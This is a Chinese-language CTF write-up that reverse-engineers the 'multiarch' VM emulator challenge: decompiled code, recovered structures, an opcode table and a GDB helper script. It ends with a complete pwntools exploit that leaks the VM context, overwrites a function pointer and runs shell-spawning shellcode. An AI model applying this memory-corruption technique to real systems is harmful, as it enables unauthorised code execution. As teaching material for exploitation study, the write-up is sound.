Preface
本题是一个不错的 PWN 题,主要难点在逆向上面。拥有 VM 逆向基础阅读更佳。
Analysis
可以看到启动服务的脚本 runner.py 文件比较简单。先是询问并获取上传文件大小,随后获取文件内容。最后调用 multiarch 运行。
import osimport signalimport sysimport tempfile
TIMEOUT = 30MULTIARCH_PATH = "/home/user/multiarch"
def sigalrm(*_): print("Too slow!") sys.exit(0)
signal.signal(signal.SIGALRM, sigalrm)signal.alarm(TIMEOUT)
print("===[ Multiarch pwn-a-rizmo")sz = input("How big is your program? ")
prog = sys.stdin.buffer.read(int(sz.strip()))
with tempfile.NamedTemporaryFile() as tf: with open(tf.name, "wb") as f: f.write(prog) print("running! " + tf.name) os.system(f"timeout {TIMEOUT} {MULTIARCH_PATH} {tf.name} 2>&1") print("done!")
再看可执行文件整体代码结构。在 main 函数中,通过审计输出交互信息大致可以确定出一些无符号函数的大致作用。
__int64 __fastcall main(int a1, char **a2, char **a3){ void *v3; // rax __int64 v4; // rbp _BYTE *v5; // rbx
setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); if ( a1 <= 1 ) { fprintf(stderr, "[E] usage: %s [path to .masm file]\n", *a2); return 2LL; } else { fwrite("[I] initializing multiarch emulator\n", 1uLL, 0x24uLL, stderr); v3 = initialize(a2[1]); v4 = (__int64)v3; if ( v3 ) { v5 = (_BYTE *)sub_1319(v3); fwrite("[I] executing program\n", 1uLL, 0x16uLL, stderr); while ( (unsigned __int8)execute(v5) ); if ( v5[48] ) { fwrite("[E] execution failed\n", 1uLL, 0x15uLL, stderr); sub_2A1E(v5, 1LL); } else { fwrite("[I] done!\n", 1uLL, 0xAuLL, stderr); } // 善后 sub_1427(v5); sub_2D8D(v4); return 0LL; } else { fwrite("[E] couldn't load multiarch program\n", 1uLL, 0x24uLL, stderr); return 1LL; } }}
粗略阅读 initialize()
函数,可以发现需要给定文件的魔术头 (magic) 只能为 MASM。非常警觉的可以猜测应该是某种 ASM 解析执行的过程。当然进一步通过阅读 sub_2B01()
通过交互信息可以快速判断出改函数主要是加载 segment 并将 3 个 segment 信息 (segment 首地址、segment 大小) 记录在 seginfo_records 中。
_QWORD *__fastcall initialize(const char *filename){ FILE *file_dsp; // rax FILE *file_dsp_1; // rbx _QWORD *seginfo_records; // rbp int *v5; // rax char *error_msg; // rax int *v7; // rax char *v8; // rax __int64 magic[7]; // [rsp+0h] [rbp-38h] BYREF
magic[3] = __readfsqword(0x28u); file_dsp = fopen(filename, "r"); file_dsp_1 = file_dsp; if ( !file_dsp ) { v5 = __errno_location(); error_msg = strerror(*v5); fprintf(stderr, "[E] couldn't open file %s - %s\n", filename, error_msg); return 0LL; } magic[0] = 0LL; magic[1] = 0LL; if ( fread(magic, 1uLL, 4uLL, file_dsp) != 4 ) { v7 = __errno_location(); v8 = strerror(*v7); fprintf(stderr, "[E] couldn't read magic - %s\n", v8);LABEL_9: fclose(file_dsp_1); return 0LL; } if ( strncmp((const char *)magic, "MASM", 4uLL) ) { fwrite("[E] bad magic\n", 1uLL, 0xEuLL, stderr); goto LABEL_9; } seginfo_records = calloc(1uLL, 0x30uLL); if ( !(unsigned __int8)load_segment(seginfo_records, 4LL, file_dsp_1) || !(unsigned __int8)load_segment(seginfo_records, 9LL, file_dsp_1) || !(unsigned __int8)load_segment(seginfo_records, 14LL, file_dsp_1) ) { if ( seginfo_records ) sub_2D8D((__int64)seginfo_records); goto LABEL_9; } return seginfo_records;}
然后在看看 execute 函数的流程,并且通过 Strings 窗口定位到引用 ---[ PC=0x%08x SP=0x%08x | A=0x%08x B=0x%08x C=0x%08x D=0x%08x
的代码块:
unsigned __int64 __fastcall status(__int64 a1, char a2){ int i; // ebp unsigned int v4; // r12d const char *v5; // rsi unsigned int v6; // [rsp+Ch] [rbp-44h] BYREF unsigned __int64 v7; // [rsp+10h] [rbp-40h]
v7 = __readfsqword(0x28u); printf( " ---[ PC=0x%08x SP=0x%08x | A=0x%08x B=0x%08x C=0x%08x D=0x%08x\n", *(unsigned int *)(a1 + 0x33), *(unsigned int *)(a1 + 0x37), *(unsigned int *)(a1 + 0x3B), *(unsigned int *)(a1 + 0x3F), *(unsigned int *)(a1 + 0x43), *(unsigned int *)(a1 + 0x47)); if ( a2 ) { puts(" ---[ STACK CONTENTS"); for ( i = -8; i != 20; i += 4 ) { v4 = *(_DWORD *)(a1 + 0x37) + i; if ( !(unsigned __int8)LDP(a1, v4, &v6) ) break; v5 = " "; if ( *(_DWORD *)(a1 + 55) == v4 ) v5 = "* "; printf("\t%s0x%08x 0x%08x\n", v5, v4, v6); } } return v7 - __readfsqword(0x28u);}
我们目前可以简单还原出如下的结构题。
struct dynamicMemoryInfo { void *segment1; // 0x00 void *segment2; // 0x08 void *mmap_addr; // 0x10 void *segment3; // 0x18 uint64_t segment3_size; // 0x20 void (*func)(void); // 0x28 uint8_t error_flags; // 0x30 uint8_t padding2; // 0x31 uint8_t jmp_flags; // 0x32 uint32_t pc; // 0x33 uint32_t sp; // 0x37 uint32_t reg[4]; // 0x3b uint8_t padding3[0x88 - 0x4b]; // 0x4b} __attribute__((packed)); // sizeof(dynamicMemoryInfo) = 0x88
然后我们可以进一步详细分析 execute 函数。通过输出信息我们大致可以判断操作的类别分为 stack 和 reg。
__int64 __fastcall execute(__int64 dynmeminfo){ unsigned __int8 v1; // al
v1 = sub_17DA(dynmeminfo); if ( !v1 ) // v1 == 0 return stack(dynmeminfo); if ( v1 == 1 ) return reg(dynmeminfo); fwrite("[E] nice qubit\n", 1uLL, 0xFuLL, stderr); return 0LL;}
在阅读 stack 函数中我们可以获取得到如下的指令体系:
- 0x10 - LDB/push8
- 0x20 - LDW/push16
- 0x30 - push32
- 0x40 - LDP - 立即数
- 0x50 - LDPSp/pop32 - 从栈上读
- 0x60 - add
- 0x61 - sub
- 0x62 - xor
- 0x63 - and
- 0x70 - ret/goto
- 0x71 - jz
- 0x72 - jn
- 0x80 - cmp
- 0xA0 - syscall 系统 - 需要
reg[0] = 6 && syscall_priority = 1
- 0
readint I; push I
- 1 not supported
- 2
pop s,n; fwrite(stdout,s,n)
- 3
pop seed; srand(seed)
- 4
push rand() + (rand() << 16)
- 5 call get_flag
- 6 calloc heap
- 0xFF - HLT
这足以使得我们恢复出 struct dynamicMemoryInfo
及其相关结构体:
struct heapSegmentInfo { void *heap_addr; uint32_t vmem_addr;} __attribute__((packed));
struct dynamicMemoryInfo { void *segment1; // 0x00 void *segment2; // 0x08 void *mmap_addr; // 0x10 void *segment3; // 0x18 uint64_t segment3_size; // 0x20 void (*func)(void); // 0x28 uint8_t error_flags; // 0x30 uint8_t syscall_priority; // 0x31 uint8_t jmp_flags; // 0x32 uint32_t pc; // 0x33 uint32_t sp; // 0x37 uint32_t reg[4]; // 0x3b heapSegmentInfo heap_segment_array[5]; // 0x4b uint8_t heap_segment_array_cnt;} __attribute__((packed)); // sizeof(dynamicMemoryInfo) = 0x88
在阅读 reg 函数中我们可以获取得到如下的指令体系:
- 0x00 - 正常结束
- 0x01 - syscall
- 0 - read 1 byte
- 1 -
input(memory[reg[1]:reg[1]+reg[2]])
←fgetc 循环,换行符结束/read n bytes。memory 不清楚。 - 2 -
fwrite(&memory[reg[1]], 1, reg[2], stdout);
memory 不清楚。 - 3 -
srand(reg[1])
- 4 -
reg[0] = (rand()&0xFFFF) | (rand()<<16)
- 5 - unsupported
- 6 -
reg[0] = vmem_addr
- 0x10 -
push32(imm)
- 0x11:
push32(reg[0]);
- 0x12:
push32(reg[1]);
- 0x13:
push32(reg[2]);
- 0x14:
push32(reg[3]);
- 0x15:
reg[0]=pop32();
- 0x16:
reg[1]=pop32();
- 0x17 -
reg[2]=pop32();
- 0x18:
reg[3]=pop32();
- 0x20 -
reg[((imm8 >> 4) - 1) & 3] = reg[(imm8 - 1) & 3]
- 0x21 -
reg[((imm8>>4)-1) & 3] += imm32;
- 0x30 -
reg[((imm8>>4)-1)&3] -= reg[(imm8-1)&3];
- 0x31 -
if ((imm8>>4)-1 <= 3) {reg[(imm8>>4)-1] -= operand32;}
else if ( (imm8>>4) == 5) {SP -= operand32;}
- 0x40 -
reg[((operand>>4)-1)&3] ^= reg[(operand-1)&3];
- 0x41 -
*(_DWORD *)((char *)&dynmeminfo->segment2 + 4 * v19 + 3) ^= imm32
- 0x50 -
mul = reg[((operand>>4)-1)] * reg[(operand-&0xFF)&01]; reg[0]=mul&0xFFFFFFFF; reg[3]=(mul>>16)
- 0x51 -
mul = reg[((operand>>4)+3)&3] * imm32; reg[0]=mul&0xFFFFFFFF; reg[3]=(mul>>16)
- 0x60 -
push32(PC+4); goto operand;
- 0x61 -
SP += 4*operand;PC=pop32();
- 0x62 -
if (ZF!=0) {goto operand;}
- 0x63 -
if (ZF==0) {goto operand;}
- 0x64:4 字节操作数。应为 jo 有效。
if(OF!=0) {goto operand;}
- 0x68:4 字节操作数。本质上是一个 goto 指令
goto operand
- 0x70~0x7F:
cmp(reg[(opcode>>2)&3], reg[opecode&3]);
- 0x80~0x8F:操作数4字节。
cmp(reg[opcode&3], operand);
然后还有一大堆的 0xC0 系列以及和 0xA0 相关的指令体系。因为简单的静态分析看不到特殊性,先搁置不管。而且 IDA Pro 8.3 反汇编这些指令体系时效果不佳。因此可能需要 Python 编写 GDB Debug Script 才能较好的分析。为此我编写了一个调试扩展脚本,这个脚本具有特殊性。因为我关注到 dynmeminfo 的首地址一直由 $rbx
寄存器保存。所以,我利用这个点编写了一个 GDB Extension Script。利用 source gdb-ex.py
导入调试脚本。使用 watch_dynamicMemoryInfo
启用普通模式,就是每执行一步就会输出结果。还可以使用 watch_dynamicMemoryInfo run
来启动自走模式,即当检测到结构体修改就停止并输出变化。
这个脚本需要自己下一个断点,不然直接 continue 命令会跑飞。
import gdbimport struct
# 结构体字段定义fields = [ ("segment1", 0x00, "Q"), ("segment2", 0x08, "Q"), ("mmap_addr", 0x10, "Q"), ("segment3", 0x18, "Q"), ("segment3_size", 0x20, "Q"), ("func", 0x28, "Q"), ("error_flags", 0x30, "B"), ("syscall_priority", 0x31, "B"), ("jmp_flags", 0x32, "B"), ("pc", 0x33, "I"), ("sp", 0x37, "I"), ("reg[0]", 0x3b, "I"), ("reg[1]", 0x3f, "I"), ("reg[2]", 0x43, "I"), ("reg[3]", 0x47, "I"), # heapSegmentInfo[5] ("heap_segment_array[0].heap_addr", 0x4b, "Q"), ("heap_segment_array[0].vmem_addr", 0x53, "I"), ("heap_segment_array[1].heap_addr", 0x57, "Q"), ("heap_segment_array[1].vmem_addr", 0x5f, "I"), ("heap_segment_array[2].heap_addr", 0x63, "Q"), ("heap_segment_array[2].vmem_addr", 0x6b, "I"), ("heap_segment_array[3].heap_addr", 0x6f, "Q"), ("heap_segment_array[3].vmem_addr", 0x77, "I"), ("heap_segment_array[4].heap_addr", 0x7b, "Q"), ("heap_segment_array[4].vmem_addr", 0x83, "I"), ("heap_segment_array_cnt", 0x87, "B"),]
SIZE_DYNAMIC_MEMORY_INFO = 0x88
last_values = {}
def read_struct(addr): mem = gdb.selected_inferior().read_memory(addr, SIZE_DYNAMIC_MEMORY_INFO) values = {} for name, offset, fmt in fields: size = struct.calcsize(fmt) value = struct.unpack_from("<" + fmt, mem, offset)[0] values[name] = value return values
def print_struct(values, last=None): for name, _, _ in fields: value = values[name] if last is not None and last.get(name) != value: print(f"\033[1;31m{name}: {value:#x}\033[0m") # 红色高亮变化 else: print(f"{name}: {value:#x}")
class WatchDynamicMemoryInfo(gdb.Command): """Watch dynamicMemoryInfo at $rbx and print on every stop. Usage: watch_dynamicMemoryInfo # 普通模式,stop时打印 watch_dynamicMemoryInfo run # 自动监控,内存变化时自动中断 watch_dynamicMemoryInfo stop # 关闭自动监控 """
def __init__(self): super().__init__("watch_dynamicMemoryInfo", gdb.COMMAND_USER) self.enabled = False self.auto_run = False self.last = None
def invoke(self, arg, from_tty): args = arg.strip().split() if not args or args[0] == "": # 普通模式 if not self.enabled: print("Enable dynamicMemoryInfo monitoring (print on stop).") self.enabled = True gdb.events.stop.connect(self.on_stop) else: print("Disable dynamicMemoryInfo monitoring.") self.enabled = False gdb.events.stop.disconnect(self.on_stop) elif args[0] == "run": if not self.auto_run: print("Enable auto-run monitoring: will stop when memory changes.") self.auto_run = True self.last = None gdb.events.cont.connect(self.on_continue) gdb.events.stop.connect(self.on_stop) else: print("Auto-run monitoring already enabled.") elif args[0] == "stop": if self.auto_run: print("Disable auto-run monitoring.") self.auto_run = False try: gdb.events.cont.disconnect(self.on_continue) except Exception: pass else: print("Auto-run monitoring not enabled.")
def on_stop(self, event): if not (self.enabled or self.auto_run): return try: rbx = int(gdb.parse_and_eval("$rbx")) values = read_struct(rbx) print("\n--- dynamicMemoryInfo @ $rbx ---") print_struct(values, self.last) self.last = values except Exception as e: print(f"Error reading dynamicMemoryInfo: {e}")
def on_continue(self, event): # 在每次继续运行前,检查内存是否变化 if not self.auto_run: return try: rbx = int(gdb.parse_and_eval("$rbx")) values = read_struct(rbx) if self.last is not None and values != self.last: print("\n\033[1;33m[!] dynamicMemoryInfo changed, interrupting execution!\033[0m") print_struct(values, self.last) self.last = values gdb.execute("interrupt", to_string=True) else: self.last = values except Exception as e: print(f"Error reading dynamicMemoryInfo: {e}")
WatchDynamicMemoryInfo()

通过这个脚本可以测试出来以下几个 0xC0 系列的指令:
- 0xC5 -
reg[0] = imm32
- 0xCD -
reg[1] = imm32
有了明确的指令功能,我们就能捋清楚大致的执行流程。有了结构体再回头看,会发现 segment3 应该是存放指令是 stackVM 还是 registerVM 的。当然还有一些之前存疑的地方也会豁然开朗,例如之前的 stackVM syscall 1 2 中的 memory 应该是 segment1/segment2/mmap_addr/heap_segment_array :
__int64 __fastcall sub_14B3(struct dynamicMemoryInfo *dynmeminfo, uint32_t a2, __int64 a3) { unsigned __int64 v4; // rax uint8_t heap_segment_array_cnt; // di __int64 result; // rax uint32_t *p_vmem_addr; // rcx unsigned __int64 v8; // r10 uint32_t v9; // edx
if ( a2 <= 0xFFF ) goto LABEL_7; v4 = a3 + a2; if ( v4 <= 0x1FFF ) return (__int64)dynmeminfo->segment1 + a2 - 0x1000; if ( a2 <= 0x1FFF ) goto LABEL_7; if ( v4 <= 0x2FFF ) return (__int64)dynmeminfo->segment2 + a2 - 0x2000; if ( a2 > 0x7FFF && v4 <= 0x8FFF ) return (__int64)dynmeminfo->mmap_addr + a2 - 0x8000; LABEL_7: heap_segment_array_cnt = dynmeminfo->heap_segment_array_cnt; result = 0LL; if ( heap_segment_array_cnt ) { p_vmem_addr = &dynmeminfo->heap_segment_array[0].vmem_addr; v8 = a3 + a2; do { v9 = *p_vmem_addr; if ( a2 >= *p_vmem_addr && v8 < v9 + 512 ) return (__int64)dynmeminfo->heap_segment_array[(int)result].heap_addr + a2 - v9; LODWORD(result) = result + 1; p_vmem_addr += 3; } while ( (_DWORD)result != heap_segment_array_cnt ); return 0LL; } return result;}
此外的话,因为 stack 函数中的 syscall 系统存在调用自定义函数的作用。另外的话,本题的 VM 相较于其他的 VM 的特殊点就在于 stack 函数的 syscall 体系中给出了申请堆块的操作,以及 reg 函数中 0x41 操作对于 segment2 段落的修改功能。
通过调试可以发现 reg 流程中的 0x41 操作发现其实是在修改 dynamicMemoryInfo 结构的数据,一些调试数据:
gef> x/wx $rbx+$rax*4+0xb0x56ac65ea299b: 0x00000000gef> x/wx $rbx0x56ac65ea2950: 0x2ad2c000gef> p/x 0x56ac65ea2950^0x56ac65ea299b$1 = 0xcb
通过计算,正常情况下刚好可以修改 reg 之后的数据。然后对这部分数据进行操作的目前有 stack VM 中 syscall 6 和 stackVM 0x41 操作。然后我们可以利用 regVM syscall 1/2 来操作 heap_segment_array。
Exploit
基于分析我们知道大体上攻击分为 6 步:
- 在 segment2 中放入 shellcode。
- 分配一个 heap_segment_arrary。
- 利用 stackVM syscall 6 篡改 heap_segment_array 的地址。
- 利用 regVM syscall 2 泄露 dynamicMemoryInfo。
- 利用 regVM syscall 1 篡改 dynamicMemoryInfo.func 为 segment2。
- 利用 stackVM syscall 5 调用 dynamicMemoryInfo.func 从而 getshell。
#!/usr/bin/env python3import structimport pwnpwn.context.log_level = "debug"pwn.context.terminal = ['tmux', 'splitw', '-h']elf = pwn.ELF("./multiarch")libc = elf.libcpwn.context.os = elf.ospwn.context.arch = elf.archpwn.context.binary = elf
MASM_FILE_NAME = "exploit.masm"SIZE_DYNAMIC_MEMORY_INFO = 0x88 # 动态内存信息结构体大小OFFSET_DYNAMIC_MEMORY_INFO_FUNCTION_POINTER = 0x28 # 函数指针的成员偏移
STACKVM_INST_SIZE = 5STACKVM_INST_PUSH8 = pwn.p8(0x10)STACKVM_INST_PUSH32 = pwn.p8(0x30)STACKVM_INST_SYSCALL = pwn.p8(0xA0)
REGVM_INST_EXIT = pwn.p8(0x00)REGVM_INST_SYSCALL = pwn.p8(0x01)
def create_exploit_file(): segment_text = bytearray() segment_data: bytes = pwn.asm(pwn.shellcraft.amd64.linux.sh()) # type: ignore segment_stack_reg_bits_list: list[bool] = [] # 0: Stack, 1:Reg
def validate_int8(value: int): if value < 0 or value >= (1 << 8): raise Exception(f"{value:08x} is Out of range!")
def validate_int16(value: int): if value < 0 or value >= (1 << 16): raise Exception(f"{value:08x} is Out of range!")
def validate_int32(value: int): if value < 0 or value >= (1 << 32): raise Exception(f"{value:08x} is Out of range!")
def append_as_stack_inst(data: bytes): assert(len(data) == 5) segment_text.extend(data) segment_stack_reg_bits_list.extend([False] * len(data))
def append_as_reg_inst(data: bytes): assert(len(data) > 0) segment_text.extend(data) segment_stack_reg_bits_list.extend([True] * len(data))
def push8(value: int): validate_int8(value) append_as_stack_inst(STACKVM_INST_PUSH8 + pwn.p32(value))
def push32(value: int): validate_int32(value) append_as_stack_inst(STACKVM_INST_PUSH32 + pwn.p32(value))
def vm_inst_syscall(): # syscall指令的参数先push append_as_stack_inst(STACKVM_INST_SYSCALL + pwn.p32(0xDEADBEEF))
def set_register_A(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xC5) + pwn.p32(value))
def set_register_B(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xCD) + pwn.p32(value))
def set_register_C(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xD5) + pwn.p32(value))
def set_register_D(value: int): validate_int32(value) append_as_reg_inst(pwn.p8(0xDD) + pwn.p32(value))
def push_register_A(): append_as_reg_inst(pwn.p8(0x11))
def pop_register_A(): append_as_reg_inst(pwn.p8(0x15))
def xor_dynamic_memory_info_field(index: int, value_to_xor: int): validate_int8(index) validate_int32(value_to_xor) append_as_reg_inst(pwn.p8(0x41) + pwn.p8(index) + pwn.p32(value_to_xor))
def reg_inst_syscall(): append_as_reg_inst(pwn.p8(0x01))
def vm_syscall_1_input_string(addr_begin: int, size: int): set_register_A(1) set_register_B(addr_begin) set_register_C(size) reg_inst_syscall()
def vm_syscall_2_dump_memory(addr_begin: int, size: int): set_register_A(2) set_register_B(addr_begin) set_register_C(size) reg_inst_syscall()
def vm_syscall_5_call_function_pointer(): # stackVM syscall 5 的指令,调用函数指针 set_register_A(0) push8(5) vm_inst_syscall()
def vm_syscall_6_allocate(desired_address: int): validate_int32(desired_address)
set_register_A(0) # StackVM时也验证RegisterA push32(desired_address) push8(6) vm_inst_syscall() # 结果的地址被push
def vm_exit(): data = REGVM_INST_EXIT segment_text.extend(data) segment_stack_reg_bits_list.extend([True] * len(data))
XOR_VALUE_TO_VMCONTEXT = 0x3d0 vm_syscall_6_allocate(0x2000) xor_dynamic_memory_info_field(0x50, XOR_VALUE_TO_VMCONTEXT) vm_syscall_2_dump_memory(0x3000, SIZE_DYNAMIC_MEMORY_INFO) vm_syscall_1_input_string(0x3000 + OFFSET_DYNAMIC_MEMORY_INFO_FUNCTION_POINTER, 8) vm_syscall_5_call_function_pointer() vm_exit() # 实际的文件写入等 assert(len(segment_text) == len(segment_stack_reg_bits_list)) segment_stack_reg_bits = bytearray() bits_current = 0 for i, b in enumerate(segment_stack_reg_bits_list): if b: bits_current |= 1 << (i % 8) if i == len(segment_stack_reg_bits_list) - 1 or i % 8 == 7: segment_stack_reg_bits.append(bits_current) bits_current = 0 with open(MASM_FILE_NAME, "wb") as f: f.write(b"MASM") HEADER_SIZE = 4 + (3 * 5) # 4 + 3 * 5 = 19 offset_data_current = HEADER_SIZE
f.write(pwn.p8(1)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_text))) offset_data_current += len(segment_text)
f.write(pwn.p8(2)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_data))) offset_data_current += len(segment_data)
f.write(pwn.p8(3)) f.write(pwn.p16(offset_data_current)) f.write(pwn.p16(len(segment_stack_reg_bits)))
f.write(segment_text) f.write(segment_data) f.write(segment_stack_reg_bits)
def solve(io: pwn.tube): # syscall 2 输出VMContext io.recvuntil(b"[I] executing program\n") dynamic_memory_info = io.recvn(SIZE_DYNAMIC_MEMORY_INFO) ( addr_segment1, addr_segment2, addr_mmap_addr, addr_segment3, segment3_size, addr_function_pointer, ) = struct.unpack("<QQQQQQ", dynamic_memory_info[:0x30]) print(f"{addr_function_pointer = :016x}") elf.address = addr_function_pointer - 0x12E0 print(f"{elf.address = :016x}")
# addr_test_to_overwrite = elf.address + 0x174A # [D] executing as system now # 函数指针写入确认用 payload = pwn.p64(addr_segment2) assert(b"\n" not in payload) # 换行被视为终止符,不应该存在 io.send(payload)
io.interactive() io.stream(line_mode=False)
# fmt: offGDBSCRIPT = r"""source gdb-ex.pyset show-tips offset follow-fork-mode parenthandle SIGALRM nostop
break *$rebase(0x2416)break *$rebase(0x196F)"""
create_exploit_file()
# with pwn.gdb.debug([elf.path, MASM_FILE_NAME], GDBSCRIPT) as io: solve(io)with pwn.process([elf.path, MASM_FILE_NAME]) as io: solve(io)
最终我们的执行结果如下:
